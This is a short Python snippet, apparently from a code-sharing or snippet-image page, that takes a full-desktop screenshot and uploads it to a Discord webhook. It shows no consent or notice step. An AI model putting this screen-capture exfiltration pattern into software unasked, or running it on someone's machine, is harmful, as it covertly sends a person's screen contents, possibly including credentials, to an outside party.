import time
from io import BytesIO
import requests
from PIL import ImageGrab
# Replace this with your Discord webhook URL
WEBHOOK_URL = "https://discordapp.com/api/webhooks/..."
# Capture a screenshot
screenshot = ImageGrab.grab()
# Save the screenshot to a BytesIO buffer
screenshot_buffer = BytesIO()
screenshot.save(screenshot_buffer, format="PNG")
screenshot_buffer.seek(0)
# Send the screenshot through the webhook
files = {"file": ("screenshot.png", screenshot_buffer, "image/png")}
requests.post(WEBHOOK_URL, files=files)
Preview:
downloadDownload PNG
downloadDownload JPEG
downloadDownload SVG
Tip: You can change the style, width & colours of the snippet with the inspect tool before clicking Download!
Click to optimize width for Twitter